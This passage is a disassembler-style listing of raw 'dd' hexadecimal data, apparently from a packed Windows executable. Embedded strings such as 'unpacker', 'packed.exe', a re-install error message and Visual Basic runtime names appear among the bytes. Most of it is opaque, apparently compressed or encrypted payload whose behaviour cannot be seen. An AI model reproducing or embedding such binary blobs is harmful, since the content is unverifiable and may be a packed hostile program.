0B126ECD9h, 77Dh dd 0B86C5600h, 45000002h, 894A6177h, 0F561CC56h, 0ABD9CA55h dd 0A338B03Eh, 0D3EFCB08h, 0C3D60F7Ah, 512F79DEh, 4DAEC721h dd 5D67AC5Eh, 272B2B74h, 72F2359Fh, 37C103BDh, 35E5FDE9h dd 0AD433FE8h, 0A6C0AD4Bh, 0BA439D9h, 722E157Fh, 67A1E3BDh dd 1EE557EFh, 5BD3C74Dh, 11E92A81h, 19EF5FD7h, 0A4443092h dd 0D63ECA07h, 0E7E7A31h, 0B7597E9Ah, 6AAA3072h, 44DB1887h dd 7F07EF3Ah, 0CD6C6D24h, 2A1B90D2h, 0FF6AE399h, 602B5D4h dd 0BB4F0000h, 7E68EF4h, 0B24A3AA8h, 3DB87F9h, 0A34E36ACh dd 241A86FCh, 6C5649A8h, 0D6CCDFF8h, 845E4DAEh, 0CDB3F810h dd 56F17FFh, 0F3428DD2h, 0E3FBCFF6h, 5566C90Ah, 0A1F1072Bh dd 25AF6447h, 922BE8C3h, 798FE7F4h, 28A85032h, 0E01AD7D4h dd 0F313A25Ah, 0D9BDB126h, 94FFC731h, 8629C544h, 0B3F56D4Dh dd 0EEB25h, 6C980000h, 16Bh, 0BAF50888h, 1C37C1F9h, 414A6177h dd 7D29164Eh, 7D615843h, 0D4000005h, 5B077936h, 1F532D82h dd 9004DECDh, 234F317Eh, 0CFFFE1BEh, 8B14BD5Fh, 218A6D15h dd 7338D3BFh, 2883650Dh, 0EC5C24BAh, 428DD378h, 772A5350h dd 46CE4A61h, 0FBCF049Bh, 8E0F4DDh, 0C21BB3A3h, 74E36407h dd 2F79057Fh, 0BB1CA8A9h, 0EE21C3F0h, 9971FE2Ah, 8926B7BBh dd 0B8812948h, 25311796h, 94C633A5h, 41D70944h, 9276CE9Bh dd 53B51D19h, 1C60C258h, 0B126C2EDh, 20B1h, 19B1A500h dd 4494CEAFh, 86CD6B9Dh, 0C66Ch, 0C06C4500h, 88000000h dd 0D0B0AA58h, 52E8FF48h, 0DD48D203h, 0D94ED179h, 0FA2C3EABh dd 0C3434FB9h, 0BD722751h, 0AE3F527h, 0C941B570h, 0C747225Ah dd 440C2038h, 3FF347DEh, 0C9AF30Eh, 0F212D82Bh, 71CB0B43h dd 9613D531h, 70FC7A8Bh, 9D1AAF98h, 0B4000004h, 0FB675956h dd 7FF3CDE2h, 30643E6Dh, 83EFD1DEh, 6F5F415Eh, 2B745DFFh dd 812ACDB5h, 1398731Fh, 8823C5ADh, 4CBCC41Ah, 428DD4D8h dd 0D28AB3B0h, 5D79DD48h, 0CC109845h, 81397A25h, 1EB5161h dd 0F1A893F7h, 5C8E3EA2h, 139874DCh, 34C949ADh, 0B62D5D7Bh dd 0A4BD796Ah, 9796744h, 2040B8F3h, 3BAEE43Ch, 806151C5h dd 218F21Fh, 42AB8D1h, 0D2790000h, 0D179DD48h, 3EABD94Eh dd 0F0BB50C0h, 0AB689AEAh, 0D73FEA74h, 4722C02Fh, 0FF8CBEC7h dd 70FCC80Ch, 19B2E19h, 50000004h, 0D78BF5BAh, 4B37A906h dd 0DC88FAB1h, 9FD3AD02h, 4B835D42h, 0FFA041DBh, 9516F1A1h dd 7A4372Bh, 9C0FE999h, 58F09826h, 428DD4ECh, 0D2A6EFDCh dd 0D179DD48h, 3EABD93Ah, 7F2CC028h, 0F7B1EE13h, 2D728FFFh dd 0A94E4684h, 0DFF9D102h, 6A419737h, 4849078h, 0BD722790h dd 90048468h, 68BD7227h, 2E667436h, 2D75E1CAh, 4E25837Fh dd 656E8C04h, 8175B0CAh, 4DCD5309h, 876FB1C7h, 1FB9F607h dd 0AA01D777h, 0E9C226AEh, 47A1D14Fh, 0E680AF64h, 0A943CB4Bh dd 0DFF9D102h, 15648F37h, 90D2CD6Dh, 0E2D2F21Bh, 7DFC276Ah dd 354h, 0F0D2DDFDh, 5C466984h, 0E9D7D428h, 584A6579h dd 0E8DAC52Ch, 1BC646B8h, 91761E84h, 1FBCA81Ah, 8A6E168Ch dd 692DBF21h, 8DD577E1h, 0FD484542h, 894A6177h, 0F4CEDDFBh dd 5EB041DBh, 279F9751h, 3EA1F69Ch, 50C0386Ah, 5C5EEB1h dd 76EEDEF3h, 73BD7802h, 7F8EFECBh, 2348CA06h, 4Fh, 0DD48D2F0h dd 1D455D79h, 0F7B4475Eh, 7320D3CBh, 433E2565h, 0DA0C3EA1h dd 9912F65Eh, 0C23A527Fh, 0DFBD7939h, 6C3F9939h, 39E85CECh dd 9EE0BD79h, 89F9C29Ch, 48CB217Ah, 10120h, 0AC1C3800h dd 0BD793538h, 0C01DE810h, 1E4C0CFDh, 77074EECh, 0FB894A61h dd 7C08C9D6h, 0BB2D9D5Ch, 914494E8h, 0E8BB2D9Dh, 4F914494h dd 0B6A24F99h, 0D6EEBD1Eh, 4FF8DE5Eh, 0CB47D103h, 0FCAF482Dh dd 0DBC503B7h, 94F9CB9Fh, 3DCDC944h, 4494FFCBh, 0F9B249C1h dd 32C802B8h, 9F6F06E2h, 7CE8DA10h, 0B6A24F5Ch, 27ECB31Eh dd 1E2845D3h, 54FB2313h, 1D48ECF6h, 0EE5E3AC0h, 3EA1F74Bh dd 0F47A1941h, 0D9DA3B82h, 21CB10Fh, 0CD972F27h, 0CFC74C4Ch dd 8F03A83Fh, 5AAA307Fh, 41A03028h, 0F110845Eh, 7A9ABDAEh dd 0E4CF70FFh, 20BE5h, 0BA44600h, 9F10ED95h, 0F0BB5141h dd 0A30CE292h, 0F3AC553Dh, 0AF2D218Dh, 0FF734D52h, 0B5DDC3E8h dd 0F76B5556h, 6D8CAE1h, 0D61E8A02h, 1EE428Dh, 5DE3FBD4h dd 2EC8137Ch, 496286EEh, 6CA83288h, 0BCA81A85h, 0C5318F1Ch dd 9F16AF4Dh, 43103748h, 63975C8Eh, 48D27ED5h, 0FED979DDh dd 34C604ADh, 0BDFDE464h, 99CB3EA1h, 3CFC6458h, 2DCBD78h dd 3C198BFBh, 0ADEFBD78h, 30CEB6FBh, 9B3B527Fh, 1535ACCEh dd 242DDC4Ch, 0D47148CAh, 22000000h, 0F8146177h, 7296FEB3h dd 0F5536F39h, 7D65B0Fh, 2B995A90h, 0A418D9C6h, 449453CEh dd 0FDF896CEh, 0E0B58CDEh, 8D1EBA5Ah, 50A93F33h, 941A4CB8h dd 8A0A3C44h, 36943D6Eh, 96B03F74h, 17B79B9Bh, 0D02AE7C4h dd 2B67C24Ah, 0D3153EA1h, 748909EDh, 0B6D09D3Bh, 180B7B7Bh dd 0EEC74D86h, 3AD43CBCh, 9FB36375h, 0C1049B7Fh, 4C91DF49h dd 477BADB7h, 47D1366Dh, 7D7926CBh, 0FDB6F915h, 7DE53BBDh dd 0B8F31554h, 0CD7FD9FBh, 62C3C8FDh, 406962A8h, 8D7101ABh dd 0E227A2h, 9B6F0000h, 27C6AE14h, 926A1A88h, 23BBA719h dd 836E168Ch, 4FAA61Ch, 4C366988h, 0F6ECBF18h, 643E6D8Eh dd 0EDD3D830h, 258F37DFh, 13428DD7h, 5A77EF16h, 0D1275B45h dd 77BDE8DAh, 0FB894A61h, 38AC1CDDh, 104494E8h, 19A61CCEh dd 9C34240Fh, 0C9CD6B40h, 0ABC00F41h, 8109ED3Eh, 0BD723817h dd 0AC65A3E5h, 52B5C018h, 18B09859h, 0BD7238ACh, 34A06A9Ch dd 0E01AD7D4h, 17F62E2Ah, 2193339Bh, 17BD72A6h, 0C2153DE5h dd 751D8395h, 201893h, 0F9F6CD34h, 0DCF50332h, 225A346Ch dd 0B368DC6Ch, 1E60BD72h, 0A7763F06h, 62985956h, 9AFA92A8h dd 0FBA26A7Eh, 4C5F7D15h, 37A53387h, 7536D22Ah, 2A81570Bh dd 6546A62Eh, 0F8167ED3h, 87416A81h, 0ACB5194Ah, 89F7B454h dd 67ACFFD9h, 352h, 59402300h, 874C6377h, 23D0DBFDh, 0A0515AB1h dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh dd 0B45D52ABh, 0E2895252h, 4C281h, 0EA830000h, 24148704h dd 5124248Bh, 0C181E189h, 4, 4E981h, 0C870000h, 4895C24h dd 5BA56824h, 1C890000h, 4EC8324h, 0BA241489h, 61931E3h dd 815AD089h, 4ECh, 24248900h dd 4240481h, 5B000000h, 8BA52h, 0DA010000h, 24348150h dd 10CA1255h, 3281028Fh, 10CA1255h, 2434FF5Ah, 4C4815Bh dd 8B000000h, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 5FEE95Ch, 357FFFBh, 9DE22AF0h, 0FFB819F8h, 3061940h dd 0CAE0FFC5h, 484B5727h, 2841101Fh, 0CB0C7439h, 3C174C7Ah dd 0C53FF86h, 82651F61h, 0C445FC5Fh, 80563EBBh, 69751085h dd 120F10D0h, 6A4D36C6h, 63507445h, 7E241954h, 0CB1513FCh dd 0BA051D38h, 3599D00h, 6547CC24h, 9A143D07h, 0E848F8D2h dd 10h, 56150450h, 0A09A9B94h, 0CF61081Ah, 88F054Dh, 0D1F728B8h dd 0D7815B1Eh, 2D6DE103h, 5A3BC381h, 860F0000h, 5, 3CC88166h dd 166968CBh, 0CDB40000h, 0C840F59h, 60000000h, 0D0EABA66h dd 6A17DE81h, 8B6119D0h, 0F575713h, 86h, 815E5E00h, 0EF33A6C2h dd 0EA81F85Eh, 30A1BDD6h, 0CD36C281h, 13893FE7h, 0BCEB81F8h dd 0E81186C0h, 9, 5B23C443h, 0BAB11C52h, 5FC38B81h, 0C0B8C381h dd 0F8571186h, 1E9815Eh, 0F000000h, 0FFFFB285h, 0B2DF81FFh dd 8D0509BEh, 1943C38Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0B813FDE9h, 16B5B529h dd 8D890613h, 6131BBDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 10C35242h, 6FD1BC45h, 8BE07850h, 131721BDh dd 0DD85C706h, 0E4061318h, 6A000059h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F947C357h dd 0C2565B97h, 899C471Dh, 13348995h, 5585C706h, 61330h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0B8D2C355h, 4ABDF9CDh, 66600F31h dd 9746E781h, 0CE9h, 0BFF89300h, 6ABEDBD0h, 2B70CCA7h dd 0B5FF61DAh, 613125Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 63C35141h, 8D297130h, 6130EC5h, 5E9h dd 1FB78900h, 95FF9787h, 6131D89h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0B2C35141h, 8ACA3677h, 221D9589h dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C7DC08EBh, 7E0EA353h dd 77E9AFC8h, 70000001h, 0DD1459DDh, 437C8360h, 5F6D5C3Ah dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h dd 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 6 dup(0) dd 0F3E90000h, 6800001Bh, 6194749h, 0FA3C07E9h, 483268FFh dd 0FDE90619h, 68FFFA3Bh, 6194959h, 0FA3BF3E9h, 4A0068FFh dd 0E9E90619h, 68FFFA3Bh, 6194A3Fh, 0FA3BDFE9h, 4B1F68FFh dd 0D5E90619h, 68FFFA3Bh, 6194B85h, 0FA3BCBE9h, 4BCC68FFh dd 0C1E90619h, 68FFFA3Bh, 619531Ah, 0FA3BB7E9h, 53C268FFh dd 0ADE90619h, 68FFFA3Bh, 61954ABh, 0FA3BA3E9h, 558468FFh dd 99E90619h, 68FFFA3Bh, 61955E6h, 0FA3B8FE9h, 56D968FFh dd 85E90619h, 68FFFA3Bh, 6195779h, 0FA3B7BE9h, 580D68FFh dd 71E90619h, 68FFFA3Bh, 6195E95h, 0FA3B67E9h, 5F7168FFh dd 5DE90619h, 68FFFA3Bh, 619600Eh, 0FA3B53E9h, 0D87ECCFFh dd 0C886D8FAh, 0D674C8EAh, 0CF81D2F8h, 0D87CC9EFh, 764CBFAh dd 163C9ABAh, 0C2E8CC6h, 0F3191B7h, 23308EBEh, 0FB4DC93Ch dd 31616B6h, 70E5C25Fh, 109DB516h, 0F419BEDFh, 29BF1439h dd 3283D51Fh, 230C4B1Ah, 0E0FB8E21h, 81D0F257h, 76C709D3h dd 0B1B8F8D6h, 2A87F6D5h, 23168F2Ch, 90A1B1FFh, 0DDFA6771h dd 8B282EA8h, 0F796F70Ah, 0EB5DF2D8h, 32B13B5Ah, 8B2843C3h dd 0DB709A0Ah, 9BB5062Ch, 0D9814BCAh, 5AAC951Bh, 30C3h dd 0BEA39700h, 9B7AEBC8h, 6C168E98h, 69E91829h, 0C00A8A89h dd 9F01AC93h, 6180B70Bh, 0D0D9F02Bh, 4D97F63Eh, 562646C3h dd 0FE5AAD64h, 0C5h, 0E06CBD64h, 74E06D51h, 0FC50E1E5h dd 8AF9F8DFh, 0D21B001Bh, 0E6775B0Ah, 1154866h, 0A5109DE3h dd 0B79B3814h, 0F5142525h, 7ACBEDEBh, 5E4483D2h, 50B180CAh dd 8B352C88h, 14A2BC76h, 6611B6C3h, 21BB6CDh, 2109A6C7h dd 0ED20BF93h, 109DD471h, 0C411DB3Ah, 8ED9AC91h, 0A2008516h dd 0AC0B7B66h, 75305439h, 0CBE82D10h, 0DCFA5AE7h, 78ED67F6h dd 79F9038Ah, 5FE1FCABh, 6000019h, 1A409EB8h, 22886C8h dd 1C3E9CAEh, 32585CBh, 0D409EB6h, 0D87CC922h, 0CA88D8FAh dd 0D771C6ECh, 0CC80D1F7h, 8BFAE5EEh, 16B6FC0Fh, 0BD9DC1D8h dd 0E9C6E470h, 8EDF73C1h, 4293C50Fh, 7156F647h, 8DE3CA35h dd 8E2C4D97h, 0C8BEA334h, 0C3A5C4EBh, 3F76CD5Fh, 0A80FAFB7h dd 0E4775C94h, 449E0564h, 7E7AD8F4h, 0A7B5860h, 168EE60Bh dd 59A8B9DCh, 0A8AD5F9h, 0FB240350h, 2A3F8BD5h, 59B5A498h dd 220A8AEEh, 1AAFD9E3h, 0ACD322F2h, 0A68A5Ah, 0BDB00000h dd 6D51E06Ch, 94E574E0h, 109DB182h, 19B99326h, 97A6A637h dd 99365099h, 0A83024B1h, 0B6573AABh, 0ED30168Eh, 0EE98D1CDh dd 3658E9D1h, 8AA34BC7h, 90F1140Ah, 29B39D2Eh, 1C5B92Ch dd 5FBE1075h, 490B5A80h, 5AFA4769h, 0F8E34927h, 0BA975679h dd 1876h, 0D3F363EFh, 0D1F15DEDh, 0CDED5DEFh, 0D6F45CEBh dd 0CFEF65F4h, 0AB3A53DCh, 992709A9h, 0A43719B9h, 912406A4h dd 114E1BBBh, 0B6FD82DCh, 6CD64B16h, 0C7E470BDh, 68F951E3h dd 8FB19F29h, 86B10E3Eh, 0EC549CB0h, 90672427h, 0DAAB04A1h dd 852331BBh, 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8EAA7C29h dd 0D160A516h, 0D381D0F2h, 961C7A09h, 17730A8Ah, 7BA7AA2h dd 7B5C5AADh, 8A9D900Ah, 0AC34590Ah, 0E375h, 0F4694600h dd 0A8A9D9Ah, 0F4175C63h, 0A5423101h, 0B962FCC4h, 0DDA9C0D9h dd 0A5EE8FFEh, 486F168Eh, 3ED38D31h, 0CB18A042h, 92426D4Ah dd 5BFA6E16h, 0BA6BE716h, 0D1340A89h, 0E66728B0h, 0BDF3193Ah dd 0C312B1B8h, 2F7EC091h, 86254425h, 5A3181A9h, 97F64709h dd 9E2667F6h, 0E008D66Fh, 19B6D73Bh, 26AEA231h, 438069C7h dd 8C0D5CF4h, 0C6F1CEEDh, 0C6746590h, 4DBC045Eh, 35CA0AFEh dd 0C9B6646Bh, 43A9CD4Eh, 298EAB4Ch, 85CADBBh, 65422342h dd 4260EC3Dh, 0A7FCD60h, 9F4949F0h, 4F478229h, 16000017h dd 0A308EC8h, 123896B8h, 0C2E8CBEh, 133595BBh, 0FD308EC6h dd 0C88CD932h, 0DA78C8EAh, 0C781D6FCh, 0DC70C1E7h, 7BEAF5FEh dd 16B6FE1Fh, 0BD8DB1E8h, 5351E06Ch, 2A5B780Eh, 168EAA7Fh dd 0EB4565A8h, 0A9C0D9B9h, 0F9E1FEDDh, 3554E569h, 0A5DD5CABh dd 795E168Eh, 51BB085Dh, 0E16BBEC2h, 88503150h, 321DBADBh dd 6E2F6AD1h, 3612A50Ch, 18C8D57h, 91A16277h, 0F5D2B4ADh dd 51C3E980h, 9AABEA89h, 6443439Eh, 0D160EA3Eh, 0BA2B28B0h dd 833BC38Dh, 163C9BFAh, 72989C3h, 0E1E396B6h, 6ECBB19h dd 16A86A67h, 71BD0000h, 53E3C5E5h, 63F5DBFBh, 52E1C7E7h dd 6BFAE0FEh, 55DAC9E9h, 0BABA938h, 1BBB9725h, 8A6A235h dd 1DBD8F22h, 80DA0B54h, 4916B6FFh, 6CBD6ED0h, 9B7D6DE0h dd 0DF8E8621h, 166902h, 0E86EFC00h, 0F856E8CAh, 0E664F8DAh dd 0FF51E2C8h, 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h dd 1F01A1A7h, 5320BE8Eh, 0FF7DD90Ch, 0D34616B6h, 1D6CBD6Fh dd 1071C08Ch, 9DC4E071h, 429BCAE9h, 3168E97h, 89FA2482h dd 2E8DF9F0h, 3196BC0Ch, 0E80CB3FCh, 0F1EEF641h, 7AB4FD7Ch dd 79CC0E10h, 0EF4082D3h, 0D0B1D061h, 62F35DEEh, 2CA14223h dd 800E0A00h, 8423637Eh, 0BEEED851h, 0F766496Dh, 61BAD99Bh dd 4A972164h, 233E7ACBh, 20410FA0h, 0EE255283h, 739267A8h dd 498C6B54h, 1FE6F578h, 0A3DF74EEh, 0B9D83D5Bh, 0CE213212h dd 2CB48A1Ah, 0BE2F102Fh, 5BA43C64h, 0EEE0E82Dh, 0ED9A2E5Bh dd 0C190F15Dh, 3BF75382h, 5DC05BA4h, 4469A3Ch, 0D2634565h dd 21D1077Ah, 5F0ED128h, 158982h, 0C88EDC00h, 0D876C8EAh dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 5DB92Ch, 0F32616B7h dd 0B516704Fh, 704F109Dh, 9DB4A1FDh, 0A12B6A10h, 9DA4E462h dd 9573D310h, 8BB4109Dh, 8FB5664Bh, 2814B3Dh, 109D8384h dd 0AADF6DC0h, 86216A78h, 23CF0AA1h, 42000015h, 5E4462F4h dd 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh dd 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B7007Bh dd 0A371CD44h, 7AEBC8BEh, 168E98F7h, 0B0D88D10h, 0C5800E6Eh dd 14DC2B26h, 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh dd 3786AC0Ah, 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h, 7452F649h dd 7151FB4Eh, 9CF66768h, 6516B6FFh, 6CBD122Ch, 0DC6D51E0h dd 0B01AE170h, 0E623F11Bh, 3D8BA341h, 0AF000000h, 9DB51270h dd 93FB4E10h, 0B4C541B4h, 0F8E109Dh, 9DB5045Eh, 2948CD10h dd 5C03A58Ah, 0EF65EB19h, 8384F7E5h, 8610C66Dh, 14689AB7h dd 8DB50000h, 41B4133Fh, 10426AC5h, 1BC50F8Eh, 51E06CBDh dd 28B50E53h, 9DFC1D2Ch, 0A596CF3Eh, 6847168Eh, 0A4BC1647h dd 850A8Ah, 8AA4F551h, 955FBE0Ah, 3815B5D8h, 0A56CE617h dd 0D0350A8Ah, 0D1B5AC08h, 750683F2h, 88CF107Bh, 2FF76715h dd 67F6978Ah, 5979D163h, 7707AB2Ah, 3157E704h, 0E9639BB5h dd 2A88E9DDh, 0C998B608h, 5563585h, 8C6A7485h, 21408592h dd 0A3D2F110h, 476FC27h, 0EFCCADF0h, 81D078CBh, 6129B800h dd 0EA052E7h, 0ACA6240h, 0B25098ADh, 254h, 977E1A05h, 0B798498Ah dd 684F1B87h, 943380ABh, 76D4E561h, 656FAE04h, 0C8BEA3FBh dd 91477AEBh, 5DC0168Eh, 0D678CA0Ch, 0B80D2F8h, 63F293BBh dd 8A80B412h, 0EF5DF00Ah, 62E87C5Eh, 2C9D2BD3h, 7FFC9639h dd 0EBCB83D3h, 0F3D0B6ABh, 79AD8FCCh, 8F2C26A6h, 8A9F045Eh dd 8048CD0Ah, 9C1F2253h, 95F8107Bh, 213382C4h, 42129F81h dd 990682F3h dd 533F0477h, 97BD0CB6h, 94F2F737h, 9EA3C637h, 96BC0A68h dd 0DD6C0D47h, 0C6E468F9h, 6AFB51E4h, 648BBF1Bh, 6DDEF4FEh dd 8B2824B5h, 7A089DA4h, 0B84269EBh, 25B81A4Dh, 99BF9D27h dd 12340549h, 0E318EC0h, 0C7B69C2Ch, 0FE63C84Bh, 78E7F114h dd 99840456h, 9F2B73ACh, 577BCAABh, 68FB4A0Ah, 3EA4912Ah dd 3B8B37D4h, 3B8CFD50h, 0B5157415h, 87945F1Dh, 98074Eh dd 0BD5B0000h, 0BE922170h, 0B00F6EAFh, 43F3C187h, 9F2968A9h dd 991C0340h, 5A78834Bh, 0E754E794h, 1DC0EAC0h, 18A0C18Dh dd 9CADA736h, 38DF5CF6h, 16CE617h, 0D035109Eh, 0DD77C608h dd 0AA9765FDh, 533FA341h, 23000000h, 51E06CBDh, 0E170DC6Dh dd 33024EDDh, 0BC8DBD0Fh, 0A552E72Bh, 9DB4D630h, 1F7E9F10h dd 32E059F7h, 0B50DAD9Fh, 0A341E6E7h, 254Fh, 0F94A7000h dd 0A3D38D57h, 7AEBC8BEh, 168EBA77h, 0CD3C0D90h, 0A8AA84Dh dd 0ABD16AA4h, 5AAD15EDh, 0D355h, 0BEA3E900h, 0C796B205h dd 55882746h, 168EBC10h, 390E9EA9h, 8E428D02h, 1475143Eh dd 0FE290645h, 0AF3E81Dh, 419DCC72h, 0A0A8A10h, 0BF0F418Bh dd 0B90A308Fh, 2E0F4D97h, 2F50209h, 0A918C2FCh, 0AB4B6BADh dd 80D21A7Bh, 97F3622Eh, 600A8A19h, 19940E7Fh, 385D0A8Ah dd 0D7687259h, 249DA6A4h, 0F5446645h, 0F4D6955Fh, 0EBCFEC62h dd 81D0F25Ah, 0B45A09D3h, 5DEDA516h, 65E11433h, 2E0A8AB4h dd 0B4247EEFh, 9580A8Ah, 0CC9BFA4Bh, 328A2849h, 5AAD1562h dd 35CAh, 0BDA37000h, 0F975E8C7h, 26F624Bh, 65FB2483h dd 0F478AFDCh, 0AADB8A52h, 909E9E2Ch, 0D2614976h, 9F1C767Eh dd 0D6F58FD9h, 63330BA7h, 0D1F114EFh, 7F6h, 61C45C00h dd 6A000000h, 6A196BBDh, 0FD1EAA9Bh, 0FA26E8EAh, 0BCD51ED5h dd 684F8CDDh, 0F75968B7h, 0BF11DB0Dh, 0D9FFDF6Fh, 5774C589h dd 0FC2B0C70h, 0C87C1Ah, 87D6AAB4h, 62B095F6h, 0C4E3F0EFh dd 9E1A3591h, 0ED9FE10h, 0DA860E8Fh, 2D7D2140h, 0DC6D9721h dd 4198E0B0h, 0A59D82A3h, 25056B1Bh, 0BF940BD5h, 0AA00000Bh dd 74C5BBA3h, 3680FE05h, 50726199h, 0D8FF4EFCh, 7B302FD0h dd 0AA32531Fh, 163CEB60h, 5ABB8AC4h, 1B0ACA92h, 0C6ECD515h dd 0C8DDC76h, 505DC4h, 0C2010000h, 0E3961DDDh, 844C648Ah dd 75522E38h, 86007552h, 4F109E2Ch, 34E3D408h, 0BEDF43FFh dd 0CE7BD736h, 0C144109Dh, 0E16FC0E2h, 3FF988D7h, 4AB9EE92h dd 53214BC0h, 35F5CDA1h, 0FC67E312h, 27306729h, 302222DEh dd 9D3B202h, 24F92h, 0BBA3A800h, 0A78169C5h, 1670E5C2h dd 0DF109DB5h, 912436BEh, 0E1FE9FBBh, 2C206AF9h, 12E5DC3Eh dd 924C94F5h, 41DE9947h, 4E41A6h, 0A3150000h, 7CD607BBh dd 0B5109DB5h, 9DB4C640h, 410E8F10h, 0B573EF1Eh, 0D93C109Dh dd 0C27DD9B8h, 0ECD0BAE5h, 4F357F3Ch, 9F870685h, 3558109Eh dd 0BD68C219h, 0DA00DF6Bh, 1574C587h, 0E5C211CBh, 9DB51670h dd 36BEDF10h, 25C43EE4h, 6A000000h, 69C5BBA3h, 0B53293C2h dd 0A829109Dh, 4CE0C28Eh, 49E9F6FEh, 83DF6BBDh, 1670E5C2h dd 0DF109DB5h, 3EE436BEh, 63CB1B70h, 5EF643D4h, 45075A80h dd 1E368325h, 44065A80h, 0D084D1F5h, 0E8610B81h, 3754CE3Fh dd 0F81D4B9Fh, 4ABF4999h, 2824B59Dh, 40A23219h, 58EC95Eh dd 0E77A5C64h, 725D8265h, 3D6E7792h, 0FD4F997Eh, 0DCC2A0ACh dd 0AF4CC63Ah, 0BE902208h, 0BB912436h, 9DAF0258h, 0B68EDBFDh dd 4B9F8457h, 0C0922228h, 11711071h, 0EC435C3h, 2C6E91BBh dd 0A9A6B79Dh, 0D31D3181h, 345ED27Dh, 0F65EEB97h, 0C097EED9h dd 0DC6DDB70h, 0DD5116BDh, 4365737Dh, 963C5AF2h, 679CFD47h dd 286D4B9Fh, 75D3684Ah, 0FC4EE2E4h, 77C688DAh, 0AB9A2F61h dd 3082A895h, 6CE4F1Eh, 0F243EF8Ch, 0D061B95Ah, 422327B9h dd 109F8324h, 4890F140h, 2905302h, 0C488D989h, 0D82DC0E7h dd 1D13C5DFh, 4598C2D3h, 3282A807h, 587A9820h, 992B4B09h dd 9528DA6Fh, 0BD8E54B7h, 8146E06Ch, 51E0C2A7h, 138DED3Dh dd 35545372h, 2B598FABh, 0F9E1FE0Fh, 3657E66Ah, 0E5C234AEh dd 9DB51670h, 36BEDF10h, 41DEFEAEh, 3E66A6h, 0A3FC0000h dd 0C26BC7BDh, 0B8004EE0h, 0B4EB6A9Bh, 32C109Dh, 755299B6h dd 9BD293FEh, 0ED37CFF4h, 61BD308Fh, 2A109EA9h, 184E1EBh dd 0BD68C225h, 0BF891E6Dh, 340E6FAEh, 3EC4E37Dh, 6A000000h dd 0FF4DE0C2h, 0A2FC716Eh, 6B109DB4h, 35814B2Ah, 0C2FD592Bh dd 9DB53293h, 0FF4F7310h, 0B5025C91h, 4ACB109Dh, 0D7FB1A2Bh dd 1574C585h, 79D544CBh, 6DBD68C2h, 50E0C2E1h, 7D20BA02h dd 4EE0C2E3h, 8D03100h, 9DA64279h, 31D0ED10h, 6EFFFFFDh dd 9DB51270h, 562A3410h, 5785778h, 109DB489h, 0E04B6D52h dd 54867ED1h, 17A9AB35h, 77D32233h, 0B9109E4Bh, 0BC10C237h dd 0B80A308Eh, 0E7163996h, 109E4B6Bh, 0C907D134h, 60F193CDh dd 0CC7DFC11h, 0B69CBB52h, 0FD1C2D27h, 0FC2099F3h, 1EEBA43Ch dd 260A4h, 1170BA00h, 52109DB5h, 4A71DF70h, 1ADED632h dd 102CB45Dh, 310EADD9h, 6A3EA606h, 0E5EFC3DBh, 8F8C9BA6h dd 0A1018416h, 85572D7Fh, 17D8725h, 5AEE4165h, 52D2A3Bh dd 4CCD9CB8h, 8B005284h, 47163Eh, 8BD0EF40h, 43224330h dd 0D07ED0F2h, 483E2381h, 1587FA6Bh, 1D80107Ch, 0FBF90A68h dd 0C19C4B79h, 0D8Eh, 0EBCB8BD7h, 0F9D975C5h, 0E5C585D7h dd 0FEDC74C3h, 0E7C78DDCh, 0C3127BB4h, 0C10F3191h, 0BC0F3191h dd 0B90C2E8Ch, 29263393h, 0B7085AB4h, 54EE2316h, 351E0C2h dd 64697B9h, 0FB5786A9h, 0C4109DB4h, 0CCE87741h, 0AF992E95h dd 9FCEF1CEh, 109DB543h, 123F890Ch, 84F27BE3h, 0DAF91C16h dd 0C9E664F8h, 6DFC50E1h, 94B6A42Ch, 5AFA4740h, 95282A3Bh dd 5F8AA6B7h, 5CF04169h, 846FB12Dh, 7A1B7A0Ah, 62BD285Dh dd 0F9D61075h, 715D0A84h, 2AB2D304h, 84495BDh, 8AC61539h dd 5A3B5ABBh, 0F542D927h, 6A670679h, 0CE6h, 8323337Fh dd 61410D9Dh, 7D5DED3Fh, 66440C5Bh, 7F5FF544h, 3B8AE34Ch dd 4997B919h, 3487A909h, 4194B614h, 0C19EAB0Bh, 0B707D24Ch dd 0DC869B16h, 51E06CBDh, 0A6205572h, 0DA109DB4h, 1479C688h dd 477970CCh, 0B71C36F8h, 6946278Eh, 8EED29F4h, 13B3D216h dd 12B09C2Dh, 90BC0D35h, 91F5EC48h, 0CABB1032h, 0A9B8D97Bh dd 0C01A4B68h, 890A8AD6h, 0C09FBC04h, 3706489Ah, 407F0ED6h dd 0CD107214h, 1446B48h, 0C2C91BC6h, 391FB219h, 0CA1BFCFDh dd 5BEDD502h, 0A2B3992Ch, 7DA50263h, 0FC9C582Ah, 1436C67Ch dd 4B6D6B75h, 0BE0051F9h, 0A7461B6Bh, 0FC98DAD2h, 77C688DAh dd 0CAE67716h, 0E7C8E79Fh, 3D3995C8h, 83020471h, 305FCA39h dd 52780A62h, 0E9864E00h, 2A1B77E6h, 